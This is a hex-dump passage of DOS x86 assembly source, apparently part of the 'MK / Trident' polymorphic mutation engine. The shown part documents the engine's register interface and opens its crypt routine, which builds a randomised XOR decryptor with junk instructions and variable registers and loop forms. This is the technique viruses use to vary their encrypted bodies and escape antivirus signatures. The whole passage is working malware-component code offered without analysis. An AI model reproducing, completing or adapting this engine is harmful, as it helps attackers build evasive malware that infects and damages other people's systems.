|00005590| 3a 20 20 45 53 20 20 20 | 20 20 20 77 6f 72 6b 20 |:  ES   |   work |
|000055a0| 73 65 67 6d 65 6e 74 0d | 0a 3b 2a 20 20 20 20 20 |segment.|.;*     |
|000055b0| 20 20 20 20 20 20 20 20 | 20 44 53 3a 44 58 20 20 |        | DS:DX  |
|000055c0| 20 63 6f 64 65 20 74 6f | 20 65 6e 63 72 79 70 74 | code to| encrypt|
|000055d0| 0d 0a 3b 2a 20 20 20 20 | 20 20 20 20 20 20 20 20 |..;*    |        |
|000055e0| 20 20 42 50 20 20 20 20 | 20 20 77 68 61 74 20 77 |  BP    |  what w|
|000055f0| 69 6c 6c 20 62 65 20 73 | 74 61 72 74 20 6f 66 20 |ill be s|tart of |
|00005600| 64 65 63 72 79 70 74 6f | 72 0d 0a 3b 2a 20 20 20 |decrypto|r..;*   |
|00005610| 20 20 20 20 20 20 20 20 | 20 20 20 53 49 20 20 20 |        |   SI   |
|00005620| 20 20 20 77 68 61 74 20 | 77 69 6c 6c 20 62 65 20 |   what |will be |
|00005630| 64 69 73 74 61 6e 63 65 | 20 62 65 74 77 65 65 6e |distance| between|
|00005640| 20 64 65 63 72 79 70 74 | 6f 72 20 61 6e 64 20 63 | decrypt|or and c|
|00005650| 6f 64 65 0d 0a 3b 2a 20 | 20 20 20 20 20 20 20 20 |ode..;* |        |
|00005660| 20 20 20 20 20 43 58 20 | 20 20 20 20 20 6c 65 6e |     CX |     len|
|00005670| 67 74 68 20 6f 66 20 63 | 6f 64 65 0d 0a 3b 2a 20 |gth of c|ode..;* |
|00005680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 41 58 20 |        |     AX |
|00005690| 20 20 20 20 20 66 6c 61 | 67 73 3a 20 62 69 74 20 |     fla|gs: bit |
|000056a0| 30 3a 20 44 53 20 77 69 | 6c 6c 20 6e 6f 74 20 62 |0: DS wi|ll not b|
|000056b0| 65 20 65 71 75 61 6c 20 | 74 6f 20 43 53 0d 0a 3b |e equal |to CS..;|
|000056c0| 2a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |*       |        |
|000056d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 62 69 |        |      bi|
|000056e0| 74 20 31 3a 20 69 6e 73 | 65 72 74 20 72 61 6e 64 |t 1: ins|ert rand|
|000056f0| 6f 6d 20 69 6e 73 74 72 | 75 63 74 69 6f 6e 73 0d |om instr|uctions.|
|00005700| 0a 3b 2a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.;*     |        |
|00005710| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005720| 62 69 74 20 32 3a 20 70 | 75 74 20 6a 75 6e 6b 20 |bit 2: p|ut junk |
|00005730| 62 65 66 6f 72 65 20 64 | 65 63 72 79 70 74 6f 72 |before d|ecryptor|
|00005740| 0d 0a 3b 2a 20 20 20 20 | 20 20 20 20 20 20 20 20 |..;*    |        |
|00005750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005760| 20 62 69 74 20 33 3a 20 | 70 72 65 73 65 72 76 65 | bit 3: |preserve|
|00005770| 20 41 58 20 77 69 74 68 | 20 64 65 63 72 79 70 74 | AX with| decrypt|
|00005780| 6f 72 0d 0a 3b 2a 0d 0a | 3b 2a 20 20 20 20 20 20 |or..;*..|;*      |
|00005790| 4f 75 74 70 75 74 3a 20 | 45 53 3a 20 20 20 20 20 |Output: |ES:     |
|000057a0| 77 6f 72 6b 20 73 65 67 | 6d 65 6e 74 20 28 70 72 |work seg|ment (pr|
|000057b0| 65 73 65 72 76 65 64 29 | 0d 0a 3b 2a 20 20 20 20 |eserved)|..;*    |
|000057c0| 20 20 20 20 20 20 20 20 | 20 20 44 53 3a 44 58 20 |        |  DS:DX |
|000057d0| 20 20 64 65 63 72 79 70 | 74 6f 72 20 2b 20 65 6e |  decryp|tor + en|
|000057e0| 63 72 79 70 74 65 64 20 | 63 6f 64 65 0d 0a 3b 2a |crypted |code..;*|
|000057f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 42 50 |        |      BP|
|00005800| 20 20 20 20 20 20 77 68 | 61 74 20 77 69 6c 6c 20 |      wh|at will |
|00005810| 62 65 20 73 74 61 72 74 | 20 6f 66 20 64 65 63 72 |be start| of decr|
|00005820| 79 70 74 6f 72 20 28 70 | 72 65 73 65 72 76 65 64 |yptor (p|reserved|
|00005830| 29 0d 0a 3b 2a 20 20 20 | 20 20 20 20 20 20 20 20 |)..;*   |        |
|00005840| 20 20 20 44 49 20 20 20 | 20 20 20 6c 65 6e 67 74 |   DI   |   lengt|
|00005850| 68 20 6f 66 20 64 65 63 | 72 79 70 74 6f 72 20 2f |h of dec|ryptor /|
|00005860| 20 6f 66 66 73 65 74 20 | 6f 66 20 65 6e 63 72 79 | offset |of encry|
|00005870| 70 74 65 64 20 63 6f 64 | 65 0d 0a 3b 2a 20 20 20 |pted cod|e..;*   |
|00005880| 20 20 20 20 20 20 20 20 | 20 20 20 43 58 20 20 20 |        |   CX   |
|00005890| 20 20 20 6c 65 6e 67 74 | 68 20 6f 66 20 64 65 63 |   lengt|h of dec|
|000058a0| 72 79 70 74 6f 72 20 2b | 20 65 6e 63 72 79 70 74 |ryptor +| encrypt|
|000058b0| 65 64 20 63 6f 64 65 0d | 0a 3b 2a 20 20 20 20 20 |ed code.|.;*     |
|000058c0| 20 20 20 20 20 20 20 20 | 20 41 58 20 20 20 20 20 |        | AX     |
|000058d0| 20 6c 65 6e 67 74 68 20 | 6f 66 20 65 6e 63 72 79 | length |of encry|
|000058e0| 70 74 65 64 20 63 6f 64 | 65 0d 0a 3b 2a 20 20 20 |pted cod|e..;*   |
|000058f0| 20 20 20 20 20 20 20 20 | 20 20 20 28 6f 74 68 65 |        |   (othe|
|00005900| 72 20 72 65 67 69 73 74 | 65 72 73 20 6d 61 79 20 |r regist|ers may |
|00005910| 62 65 20 74 72 61 73 68 | 65 64 29 0d 0a 3b 2a 0d |be trash|ed)..;*.|
|00005920| 0a 3b 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.;******|********|
|00005930| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005940| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005950| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005960| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 0d 0a |********|******..|
|00005970| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005980| 20 20 64 62 20 20 20 20 | 20 20 27 5b 20 4d 4b 20 |  db    |  '[ MK |
|00005990| 2f 20 54 72 69 64 65 6e | 74 20 5d 27 0d 0a 0d 0a |/ Triden|t ]'....|
|000059a0| 63 72 79 70 74 3a 20 20 | 20 20 20 20 20 20 20 20 |crypt:  |        |
|000059b0| 78 6f 72 20 20 20 20 20 | 64 69 2c 64 69 20 20 20 |xor     |di,di   |
|000059c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000059d0| 3b 64 69 20 3d 20 73 74 | 61 72 74 20 6f 66 20 64 |;di = st|art of d|
|000059e0| 65 63 72 79 70 74 6f 72 | 0d 0a 20 20 20 20 20 20 |ecryptor|..      |
|000059f0| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00005a00| 20 20 64 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |  dx    |        |
|00005a10| 20 20 20 20 20 20 20 20 | 20 20 3b 73 61 76 65 20 |        |  ;save |
|00005a20| 6f 66 66 73 65 74 20 6f | 66 20 63 6f 64 65 0d 0a |offset o|f code..|
|00005a30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005a40| 70 75 73 68 20 20 20 20 | 73 69 20 20 20 20 20 20 |push    |si      |
|00005a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005a60| 3b 73 61 76 65 20 66 75 | 74 75 72 65 20 6f 66 66 |;save fu|ture off|
|00005a70| 73 65 74 20 6f 66 20 63 | 6f 64 65 0d 0a 0d 0a 20 |set of c|ode.... |
|00005a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00005a90| 6f 76 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ov     b|yte ptr |
|00005aa0| 64 73 3a 5b 66 6c 61 67 | 73 5d 2c 61 6c 20 20 3b |ds:[flag|s],al  ;|
|00005ab0| 73 61 76 65 20 66 6c 61 | 67 73 0d 0a 20 20 20 20 |save fla|gs..    |
|00005ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 74 65 73 74 |        |    test|
|00005ad0| 20 20 20 20 61 6c 2c 38 | 20 20 20 20 20 20 20 20 |    al,8|        |
|00005ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 70 75 73 |        |    ;pus|
|00005af0| 68 20 20 41 58 3f 0d 0a | 20 20 20 20 20 20 20 20 |h  AX?..|        |
|00005b00| 20 20 20 20 20 20 20 20 | 6a 7a 20 20 20 20 20 20 |        |jz      |
|00005b10| 6e 6f 5f 70 75 73 68 0d | 0a 20 20 20 20 20 20 20 |no_push.|.       |
|00005b20| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00005b30| 20 61 6c 2c 35 30 0d 0a | 20 20 20 20 20 20 20 20 | al,50..|        |
|00005b40| 20 20 20 20 20 20 20 20 | 73 74 6f 73 62 0d 0a 0d |        |stosb...|
|00005b50| 0a 6e 6f 5f 70 75 73 68 | 3a 20 20 20 20 20 20 20 |.no_push|:       |
|00005b60| 20 63 61 6c 6c 20 20 20 | 20 72 6e 64 5f 67 65 74 | call   | rnd_get|
|00005b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005b80| 20 3b 61 64 64 20 61 20 | 66 65 77 20 62 79 74 65 | ;add a |few byte|
|00005b90| 73 20 74 6f 20 63 78 0d | 0a 20 20 20 20 20 20 20 |s to cx.|.       |
|00005ba0| 20 20 20 20 20 20 20 20 | 20 61 6e 64 20 20 20 20 |        | and    |
|00005bb0| 20 61 78 2c 31 46 0d 0a | 20 20 20 20 20 20 20 20 | ax,1F..|        |
|00005bc0| 20 20 20 20 20 20 20 20 | 61 64 64 20 20 20 20 20 |        |add     |
|00005bd0| 63 78 2c 61 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |cx,ax.. |        |
|00005be0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|00005bf0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x       |        |
|00005c00| 20 20 20 20 20 20 20 3b | 73 61 76 65 20 6c 65 6e |       ;|save len|
|00005c10| 67 74 68 20 6f 66 20 63 | 6f 64 65 0d 0a 0d 0a 20 |gth of c|ode.... |
|00005c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 |        |       c|
|00005c30| 61 6c 6c 20 20 20 20 72 | 6e 64 5f 67 65 74 20 20 |all    r|nd_get  |
|00005c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00005c50| 67 65 74 20 72 61 6e 64 | 6f 6d 20 66 6c 61 67 73 |get rand|om flags|
|00005c60| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005c70| 20 20 78 63 68 67 20 20 | 20 20 61 78 2c 62 78 0d |  xchg  |  ax,bx.|
|00005c80| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005ca0| 20 20 20 20 20 20 20 20 | 20 3b 42 58 20 66 6c 61 |        | ;BX fla|
|00005cb0| 67 73 3a 0d 0a 0d 0a 20 | 20 20 20 20 20 20 20 20 |gs:.... |        |
|00005cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00005ce0| 30 2c 31 20 20 20 20 68 | 6f 77 20 74 6f 20 65 6e |0,1    h|ow to en|
|00005cf0| 63 72 79 70 74 0d 0a 20 | 20 20 20 20 20 20 20 20 |crypt.. |        |
|00005d00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005d10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00005d20| 32 2c 33 20 20 20 20 77 | 68 69 63 68 20 72 65 67 |2,3    w|hich reg|
|00005d30| 69 73 74 65 72 20 66 6f | 72 20 65 6e 63 72 79 70 |ister fo|r encryp|
|00005d40| 74 69 6f 6e 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |tion..  |        |
|00005d50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 34 |        |      ;4|
|00005d70| 20 20 20 20 20 20 75 73 | 65 20 62 79 74 65 20 6f |      us|e byte o|
|00005d80| 72 20 77 6f 72 64 20 66 | 6f 72 20 65 6e 63 72 79 |r word f|or encry|
|00005d90| 70 74 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |pt..    |        |
|00005da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005db0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 35 20 20 |        |    ;5  |
|00005dc0| 20 20 20 20 4d 4f 56 20 | 41 4c 2c 20 4d 4f 56 20 |    MOV |AL, MOV |
|00005dd0| 41 48 20 6f 72 20 4d 4f | 56 20 41 58 0d 0a 20 20 |AH or MO|V AX..  |
|00005de0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005e00| 20 20 20 20 20 20 3b 36 | 20 20 20 20 20 20 4d 4f |      ;6|      MO|
|00005e10| 56 20 43 4c 2c 20 4d 4f | 56 20 43 48 20 6f 72 20 |V CL, MO|V CH or |
|00005e20| 4d 4f 56 20 43 58 0d 0a | 20 20 20 20 20 20 20 20 |MOV CX..|        |
|00005e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005e50| 3b 37 20 20 20 20 20 20 | 41 58 20 6f 72 20 44 58 |;7      |AX or DX|
|00005e60| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00005e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 38 20 20 |        |    ;8  |
|00005e90| 20 20 20 20 63 6f 75 6e | 74 20 75 70 20 6f 72 20 |    coun|t up or |
|00005ea0| 64 6f 77 6e 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |down..  |        |
|00005eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 39 |        |      ;9|
|00005ed0| 20 20 20 20 20 20 41 44 | 44 2f 53 55 42 2f 49 4e |      AD|D/SUB/IN|
|00005ee0| 43 2f 44 45 43 20 6f 72 | 20 43 4d 50 53 57 2f 53 |C/DEC or| CMPSW/S|
|00005ef0| 43 41 53 57 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |CASW..  |        |
|00005f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005f10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 41 |        |      ;A|
|00005f20| 20 20 20 20 20 20 41 44 | 44 2f 53 55 42 20 6f 72 |      AD|D/SUB or|
|00005f30| 20 49 4e 43 2f 44 45 43 | 0d 0a 20 20 20 20 20 20 | INC/DEC|..      |
|00005f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005f60| 20 20 3b 20 20 20 20 20 | 20 20 43 4d 50 53 57 20 |  ;     |  CMPSW |
|00005f70| 6f 72 20 53 43 41 53 57 | 0d 0a 20 20 20 20 20 20 |or SCASW|..      |
|00005f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005fa0| 20 20 3b 42 20 20 20 20 | 20 20 6f 66 66 73 65 74 |  ;B    |  offset|
|00005fb0| 20 69 6e 20 58 4f 52 20 | 69 6e 73 74 72 75 63 74 | in XOR |instruct|
|00005fc0| 69 6f 6e 3f 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ion?..  |        |
|00005fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005fe0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 43 |        |      ;C|
|00005ff0| 20 20 20 20 20 20 4c 4f | 4f 50 4e 5a 20 6f 72 20 |      LO|OPNZ or |
|00006000| 4c 4f 4f 50 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |LOOP..  |        |
|00006010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|00006030| 20 20 20 20 20 20 53 55 | 42 20 43 58 20 6f 72 20 |      SU|B CX or |
|00006040| 44 45 43 20 43 58 0d 0a | 20 20 20 20 20 20 20 20 |DEC CX..|        |
|00006050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006070| 3b 44 20 20 20 20 20 20 | 63 61 72 72 79 20 77 69 |;D      |carry wi|
|00006080| 74 68 20 63 72 79 70 74 | 20 41 44 44 2f 53 55 42 |th crypt| ADD/SUB|
|00006090| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000060a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000060b0| 20 20 20 20 20 20 20 20 | 20 20 3b 45 20 20 20 20 |        |  ;E    |
|000060c0| 20 20 63 61 72 72 79 20 | 77 69 74 68 20 69 6e 63 |  carry |with inc|
|000060d0| 20 41 44 44 2f 53 55 42 | 0d 0a 20 20 20 20 20 20 | ADD/SUB|..      |
|000060e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000060f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006100| 20 20 3b 46 20 20 20 20 | 20 20 58 4f 52 20 69 6e |  ;F    |  XOR in|
|00006110| 73 74 72 75 63 74 69 6f | 6e 20 76 61 6c 75 65 20 |structio|n value |
|00006120| 6f 72 20 41 58 2f 44 58 | 0d 0a 0d 0a 72 61 6e 64 |or AX/DX|....rand|
|00006130| 6f 6d 3a 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c |om:     |    call|
|00006140| 20 20 20 20 72 6e 64 5f | 67 65 74 20 20 20 20 20 |    rnd_|get     |
|00006150| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 67 65 74 |        |    ;get|
|00006160| 20 72 61 6e 64 6f 6d 20 | 65 6e 63 72 79 70 74 69 | random |encrypti|
|00006170| 6f 6e 20 76 61 6c 75 65 | 0d 0a 20 20 20 20 20 20 |on value|..      |
|00006180| 20 20 20 20 20 20 20 20 | 20 20 6f 72 20 20 20 20 |        |  or    |
|00006190| 20 20 61 6c 2c 61 6c 0d | 0a 20 20 20 20 20 20 20 |  al,al.|.       |
|000061a0| 20 20 20 20 20 20 20 20 | 20 6a 7a 20 20 20 20 20 |        | jz     |
|000061b0| 20 72 61 6e 64 6f 6d 20 | 20 20 20 20 20 20 20 20 | random |        |
|000061c0| 20 20 20 20 20 20 20 20 | 20 3b 61 67 61 69 6e 20 |        | ;again |
|000061d0| 69 66 20 30 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |if 0..  |        |
|000061e0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 |      mo|v     ds|
|000061f0| 3a 5b 78 6f 72 5f 76 61 | 6c 5d 2c 61 78 0d 0a 0d |:[xor_va|l],ax...|
|00006200| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00006210| 20 63 61 6c 6c 20 20 20 | 20 64 6f 5f 6a 75 6e 6b | call   | do_junk|
|00006220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006230| 20 3b 69 6e 73 65 72 74 | 20 72 61 6e 64 6f 6d 20 | ;insert| random |
|00006240| 69 6e 73 74 72 75 63 74 | 69 6f 6e 73 0d 0a 0d 0a |instruct|ions....|
|00006250| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006260| 70 6f 70 20 20 20 20 20 | 63 78 0d 0a 0d 0a 20 20 |pop     |cx....  |
|00006270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00006280| 76 20 20 20 20 20 61 78 | 2c 30 31 31 31 20 20 20 |v     ax|,0111   |
|00006290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 6d |        |      ;m|
|000062a0| 61 6b 65 20 66 6c 61 67 | 73 20 74 6f 20 72 65 6d |ake flag|s to rem|
|000062b0| 65 6d 62 65 72 20 77 68 | 69 63 68 0d 0a 20 20 20 |ember wh|ich..   |
|000062c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 74 65 73 |        |     tes|
|000062d0| 74 20 20 20 20 62 6c 2c | 32 30 20 20 20 20 20 20 |t    bl,|20      |
|000062e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 20 |        |     ;  |
|000062f0| 4d 4f 56 20 69 6e 73 74 | 72 75 63 74 69 6f 6e 73 |MOV inst|ructions|
|00006300| 20 61 72 65 20 75 73 65 | 64 0d 0a 20 20 20 20 20 | are use|d..     |
|00006310| 20 20 20 20 20 20 20 20 | 20 20 20 6a 6e 7a 20 20 |        |   jnz  |
|00006320| 20 20 20 7a 30 0d 0a 20 | 20 20 20 20 20 20 20 20 |   z0.. |        |
|00006330| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 |       x|or     a|
|00006340| 6c 2c 30 37 0d 0a 7a 30 | 3a 20 20 20 20 20 20 20 |l,07..z0|:       |
|00006350| 20 20 20 20 20 20 74 65 | 73 74 20 20 20 20 62 6c |      te|st    bl|
|00006360| 2c 30 43 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,0C..   |        |
|00006370| 20 20 20 20 20 6a 6e 7a | 20 20 20 20 20 7a 31 0d |     jnz|     z1.|
|00006380| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00006390| 20 78 6f 72 20 20 20 20 | 20 61 6c 2c 37 30 0d 0a | xor    | al,70..|
|000063a0| 7a 31 3a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |z1:     |        |
|000063b0| 74 65 73 74 20 20 20 20 | 62 6c 2c 34 30 0d 0a 20 |test    |bl,40.. |
|000063c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|000063d0| 6e 7a 20 20 20 20 20 7a | 32 0d 0a 20 20 20 20 20 |nz     z|2..     |
|000063e0| 20 20 20 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 |        |   xor  |
|000063f0| 20 20 20 61 68 2c 37 0d | 0a 7a 32 3a 20 20 20 20 |   ah,7.|.z2:    |
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.